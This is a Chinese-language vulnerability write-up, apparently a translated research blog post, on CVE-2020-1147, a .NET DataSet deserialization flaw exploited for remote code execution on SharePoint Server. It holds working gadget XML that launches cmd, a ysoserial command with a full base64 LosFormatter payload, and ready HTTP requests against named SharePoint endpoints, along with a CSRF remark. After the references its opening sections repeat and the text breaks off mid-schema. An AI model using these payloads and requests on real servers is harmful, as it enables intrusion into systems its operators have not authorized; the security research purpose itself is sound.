0x00 前言

7月,在CVE-2020-1147漏洞发布时,我很好奇这个漏洞的表现形式,以及如何利用这个漏洞实现远程代码执行。由于我对于SharePoint Server和.NET比较了解,因此决定深入研究一下。

在这篇文章中,我将详细分析CVE-2020-1147漏洞,该漏洞由Oleksandr Mirosh、Markus Wulftange和Jonathan Birch独立发现。我将分享如何针对SharePoint Server实例利用这一漏洞的详细信息,使用低特权用户的身份获得远程代码执行。需要特别说明的是,在这里我并没有提供完整的漏洞利用,因此如果大家遇到问题,需要独立解决。

我比较关注的一个点在于,Microsoft引用了与该漏洞相关的安全指南,具体如下:

如果传入的XML数据包含其类型不在列表中的对象,则会引发异常。反序列化操作将会失败。在将XML加载到现有的DataSet或DataTable实例中时,还应该考虑现有的列定义。如果表中已经包含自定义类型的列定义,那么在XML反序列化操作期间,该类型将被临时添加到允许列表中。

有趣的是,这里可以指定类型,并且可以覆盖列定义。而这对我来说似乎很有帮助,让我们来看一下如何创建DataSet对象。

0x01 理解DataSet对象

在数据集DataSet中,包含数据表Datatable,其中包括数据列DataColumn和数据行DataRow。更重要的是,它实现了ISerializable接口,这意味着我们可以使用XmlSerializer对其进行序列化。首先,创建一个DataTable:

        static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
                    
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
                    
            // make a row and set an object instance and append to the table
            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
                    
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }

使用WriteXmlSchema方法,可以写出该模式的定义。这段代码会产生以下内容:

< ?xml version="1.0" standalone="yes"? >< xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" >
  < xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true" >
    < xs:complexType >
      < xs:choice minOccurs="0" maxOccurs="unbounded" >
        < xs:element name="exp_x0020_table" >
          < xs:complexType >
            < xs:sequence >
              < xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" / >
            < /xs:sequence >
          < /xs:complexType >
        < /xs:element >
      < /xs:choice >
    < /xs:complexType >
  < /xs:element >< /xs:schema >

在查看DataSet的代码后发现,它使用WriteXml和ReadXML公开了自己的序列化方法(包装在XmlSerializer上):

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

现在,剩下的步骤就是将表格添加到数据集中,并对其进行序列化:

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

这种序列化方式保留了模式类型,并在运行时使用实例化的XmlSerializer对象图中的单个DataSet预期类型来重建受到攻击者影响的类型。

0x02 DataSet Gadget

下面是可以构造的gadget示例,请注意,不要将它与ysoserial中的DataSet gadget混淆:

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < somedataset >
      < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" >
        < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
          < ExpandedElement/ >
          < ProjectedProperty0 >
            < MethodName >Parse< /MethodName >
            < MethodParameters >
              < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >< ![CDATA[< ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system" >< ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start" >< ObjectDataProvider.MethodParameters >< System:String >cmd< /System:String >< System:String >/c mspaint < /System:String >< /ObjectDataProvider.MethodParameters >< /ObjectDataProvider >< /ResourceDictionary >]] >< /anyType >
            < /MethodParameters >
            < ObjectInstance xsi:type="XamlReader"/ >
          < /ProjectedProperty0 >
        < /pwn >
      < /Exp_x0020_Table >
    < /somedataset >
  < /diffgr:diffgram >< /DataSet >

这个gadget链将在不包含接口成员的Type上调用任意静态方法。在这里,我打算使用知名的XamlReader.Parse加载恶意Xaml来执行系统命令。正如@pwntester在研究中提到的,我使用ExpandedWrapper类加载了两种不同的类型。

可以在许多sink中利用它,例如:

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);

许多应用程序都认为DataSet是安全的,因此即使无法直接通过XmlSerializer控制期望的类型,DataSet也通常用于对象图中。但是,最有趣的sink是触发代码执行的DataSet.ReadXml:

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");

0x03 将Gadget应用在SharePoint Server

我们查看了ZDI-20-874,该漏洞公告提到了Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet控件,可以用于远程执行代码。这立即引起了我的关注,因为其类名称中包含“DataSet”名称。我们来查看一下SharePoint的默认web.config文件:

      < controls >
        < add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" / >
        < add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
      < /controls >

在控件标签下,我们可以看到Microsoft.PerformancePoint.Scorecards命名空间不存在前缀。但是,我们检查SafeControl标签,里面确实列出了允许的命名空间中的所有类型。

< configuration >
  < configSections >
  < SharePoint >
    < SafeControls >
      < SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" / >
         ...

既然我们知道可以从这个命名空间实例化类,那么我们就可以深入研究代码以检查ExcelDataSet类型:

namespace Microsoft.PerformancePoint.Scorecards
{
 
       [Serializable]
       public class ExcelDataSet
       {

我注意到的第一件事,就是它可以序列化,因此我知道它可以实例化为控件,并且默认构造函数将会与未使用System.Xml.Serialization.XmlIgnoreAttribute属性标记的所有公共设置方法一起被调用。SharePoint使用XmlSerializer从控件创建对象,因此,在代码中只需要找到可以使攻击者提供的数据流入TemplateControl.ParseControl的任何地方,就可以利用ExcelDataSet类型。

其中比较明显的一个属性就是DataTable属性,因为它包含一个公开setter,并且使用了System.Data.DataTable类型。但是,经过仔细检查,我们可以看到它正在使用XmlIgnore属性,因此我们无法使用这个setter触发反序列化。

[XmlIgnore]
public DataTable DataTable
{
       get
       {
              if (this.dataTable == null && this.compressedDataTable != null)
              {
                     this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
                     if (this.dataTable == null)
                     {
                            this.compressedDataTable = null;
                     }
              }
              return this.dataTable;
       }
       set
       {
              this.dataTable = value;
              this.compressedDataTable = null;
       }
}

上述代码揭晓了部分答案,但是getter使用compressedDataTable属性调用GetObjectFromCompressedBase64String。这个方法将解码提供的Base64,解压缩二进制formatter Payload,然后用它来调用BinaryFormatter.Deserialize。但是,代码包含反序列化的预期类型,其中之一就是DataTable,因此我们不能只在这里填充生成的TypeConfuseDelegate。

              private static readonly Type[] ExpectedSerializationTypes = new Type[]
              {
                     typeof(DataTable),
                     typeof(Version)
              };

在检查CompressedDataTable属性时,我们可以看到设置compressedDataTable成员不会出现问题,因为它使用的是System.Xml.Serialization.XmlElementAttribute属性。

[XmlElement]
public string CompressedDataTable
{
       get
       {
              if (this.compressedDataTable == null && this.dataTable != null)
              {
                     this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
              }
              return this.compressedDataTable;
       }
       set
       {
              this.compressedDataTable = value;
              this.dataTable = null;
       }
}

将上述组合在一起,我就可以注册一个前缀,并使用Base64编码、压缩和序列化的危险DataTable实例化控件:

PUT /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Length: 1688
 
< %@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" / >

但是,我无法找到触发DataTable属性getter的方法。我知道我需要一种使用DataSet的方法,但是我并不知道如何使用。

多种方式实现目标

在我放松心情后,我决定以不同的方式来思考这个问题,并开始考虑还有哪些sink可以使用。然后,我想到了DataSet.ReadXml sink也是一个造成问题的来源,因此我再次检查了代码,并找到了这个有效的代码路径:

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
  Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

在ContactLinksSuggestionsMicroView类的内部,我们可以看到GetDataSet方法:

              protected override DataSet GetDataSet()
              {
                     base.StopProcessingRequestIfNotNeeded();
                     if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
                     {
                            return null;
                     }
                     DataSet dataSet = new DataSet();
                     DataTable dataTable = dataSet.Tables.Add();
                     dataTable.Columns.Add("PreferredName", typeof(string));
                     dataTable.Columns.Add("Weight", typeof(double));
                     dataTable.Columns.Add("UserID", typeof(string));
                     dataTable.Columns.Add("Email", typeof(string));
                     dataTable.Columns.Add("PageURL", typeof(string));
                     dataTable.Columns.Add("PictureURL", typeof(string));
                     dataTable.Columns.Add("Title", typeof(string));
                     dataTable.Columns.Add("Department", typeof(string));
                     dataTable.Columns.Add("SourceMask", typeof(int));
                     if (this.IsInitialPostBack)                                                                                      // 2
                     {
                            this.PopulateDataSetFromSuggestions(dataSet);
                     }
                     else
                     {
                            this.PopulateDataSetFromCache(dataSet);                                                                  // 3
                     }
                     this.m_strJavascript.AppendLine("var user = new Object();");
                     foreach (object obj in dataSet.Tables[0].Rows)
                     {
                            DataRow dataRow = (DataRow)obj;
                            string scriptLiteralToEncode = (string)dataRow["UserID"];
                            int num = (int)dataRow["SourceMask"];
                            this.m_strJavascript.Append("user['");
                            this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
                            this.m_strJavascript.Append("'] = ");
                            this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
                            this.m_strJavascript.AppendLine(";");
                     }
                     StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
                     dataSet.WriteXml(stringWriter);
                     SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
                     return dataSet;
              }

在[1]的位置,代码检查该请求是否为POST返回请求。为了确保这一点,攻击者可以设置__viewstate POST变量,然后代码在[2]的位置检查__SUGGESTIONSCACHE__ POST变量是否已经设置,如果已设置,则IsInitialPostBack getter将返回false。只要这个getter返回false,攻击者就可以到达[3],到达PopulateDataSetFromCache。该调用将使用已经使用特定模式定义创建的数据集。

              protected void PopulateDataSetFromCache(DataSet ds)
              {
                     string value = SPRequestParameterUtility.GetValue< string >(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
                     using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
                     {
                            xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
                            ds.ReadXml(xmlTextReader);                                                                              // 4
                            ds.AcceptChanges();
                     }
              }

在PopulateDataSetFromCache内部,代码调用SPRequestParameterUtility.GetValue以从__SUGGESTIONSCACHE__请求变量获取攻击者控制的数据,并使用XmlTextReader将其直接解析为ReadXml。先前定义的模式被攻击者提供的XML内部的模式所覆盖,并且在[4]发生不可信类型的反序列化,从而导致远程代码执行。为了触发此操作,我创建了一个页面,该页面专门使用ContactLinksSuggestionsMicroView类型:

PUT /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Length: 252
 
< %@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ContactLinksSuggestionsMicroView runat="server" / >

如果我们以低特权用户身份利用这一漏洞,并且AddAndCustomizePages设置已经禁用,那么就可以利用实例化InputFormContactLinksSuggestionsMicroView控件的页面来利用这一漏洞,因为它是从ContactLinksSuggestionsMicroView扩展而来的。

namespace Microsoft.SharePoint.Portal.WebControls
{
 
       [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
       [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
       [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
       [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
       public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
       {

我发现了一些实现该控件的终端,但暂时还没有时间对其进行测试。(更新:Soroush Dalili对其进行了测试,并且确认它们的确是可以利用的)

    /_layouts/15/quicklinks.aspx?Mode=Suggestion
/_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion

现在,要利用漏洞,我们可以对新创建的页面执行POST请求:

POST /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >
 
__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

或者:

POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >
 
__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

或者:

POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >

__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

请注意,也可以对每个终端进行CSRF攻击,因此不一定需要凭据。

0x04 最后一件事

我们不能使用XamlReader.Load静态方法,因为IIS Web服务器将模拟为IUSR帐户,并且该帐户对注册表的访问是受限的。如果尝试这样做,除非在IIS下没有金庸模拟,并使用了应用程序池标识,否则最终会得到这样的堆栈跟踪:

{System.InvalidOperationException: There is an error in the XML document. --- > System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. --- > System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
   at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue)
   at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
   at MS.Utility.EventTrace..cctor()
   --- End of inner exception stack trace ---
   at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader)
   at System.Windows.Markup.XamlReader.Parse(String xamlText)
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
   at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
   at System.Data.XmlDataLoader.LoadData(XmlReader reader)
   at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
   at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
   at System.Data.DataSet.ReadXml(XmlReader reader)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
   at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)

我们需要找到另一个危险的静态方法或setter,以从不使用接口成员的类型进行调用。我想将这一部分作为留给读者的练习,祝大家好运!

0x05 远程代码执行漏洞利用

好吧,实际上,我是希望大家能完整地阅读这篇文章,而不只是急于找到漏洞的Payload,这样将有助于我们更好地理解基础技术。无论如何,要利用该漏洞,我们可以使用LosFormatter.Deserialize方法,因为这个类中不包含接口成员。为此,我们需要生成序列化的ObjectStateFormatter小工具链的Base64 Payload:

c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint

现在,我们可以将Payload插入到以下DataSet gadget中,并针对目标SharePoint Server触发远程代码执行。

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < somedataset >
      < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" >
        < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        < ExpandedElement/ >
        < ProjectedProperty0 >
            < MethodName >Deserialize< /MethodName >
            < MethodParameters >
                < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >/wEykwcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=< /anyType >
            < /MethodParameters >
            < ObjectInstance xsi:type="LosFormatter" >< /ObjectInstance >
        < /ProjectedProperty0 >
        < /pwn >
      < /Exp_x0020_Table >
    < /somedataset >
  < /diffgr:diffgram >< /DataSet >

针对IIS进程获得远程代码执行:

1.png

0x06 总结

Microsoft将该漏洞的可利用级别评估为1,我们同意这一点,这说明应该立即对该漏洞进行修复。值得一提的是,这个gadget链可以用于使用.NET构建的多个应用程序,即使未安装SharePoint Server,也仍然会受到这个漏洞的影响。

0x07 参考资料

[1] https://speakerdeck.com/pwntester/attacking-net-serialization

[2] https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance

[3] https://www.zerodayinitiative.com/advisories/ZDI-20-874/

0x00 前言

7月,在CVE-2020-1147漏洞发布时,我很好奇这个漏洞的表现形式,以及如何利用这个漏洞实现远程代码执行。由于我对于SharePoint Server和.NET比较了解,因此决定深入研究一下。

在这篇文章中,我将详细分析CVE-2020-1147漏洞,该漏洞由Oleksandr Mirosh、Markus Wulftange和Jonathan Birch独立发现。我将分享如何针对SharePoint Server实例利用这一漏洞的详细信息,使用低特权用户的身份获得远程代码执行。需要特别说明的是,在这里我并没有提供完整的漏洞利用,因此如果大家遇到问题,需要独立解决。

我比较关注的一个点在于,Microsoft引用了与该漏洞相关的安全指南,具体如下:

如果传入的XML数据包含其类型不在列表中的对象,则会引发异常。反序列化操作将会失败。在将XML加载到现有的DataSet或DataTable实例中时,还应该考虑现有的列定义。如果表中已经包含自定义类型的列定义,那么在XML反序列化操作期间,该类型将被临时添加到允许列表中。

有趣的是,这里可以指定类型,并且可以覆盖列定义。而这对我来说似乎很有帮助,让我们来看一下如何创建DataSet对象。

0x01 理解DataSet对象

在数据集DataSet中,包含数据表Datatable,其中包括数据列DataColumn和数据行DataRow。更重要的是,它实现了ISerializable接口,这意味着我们可以使用XmlSerializer对其进行序列化。首先,创建一个DataTable:

        static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
                    
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
                    
            // make a row and set an object instance and append to the table
            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
                    
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }

使用WriteXmlSchema方法,可以写出该模式的定义。这段代码会产生以下内容:

< ?xml version="1.0" standalone="yes"? >< xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" >
  < xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true" >
    < xs:complexType >
      < xs:choice minOccurs="0" maxOccurs="unbounded" >
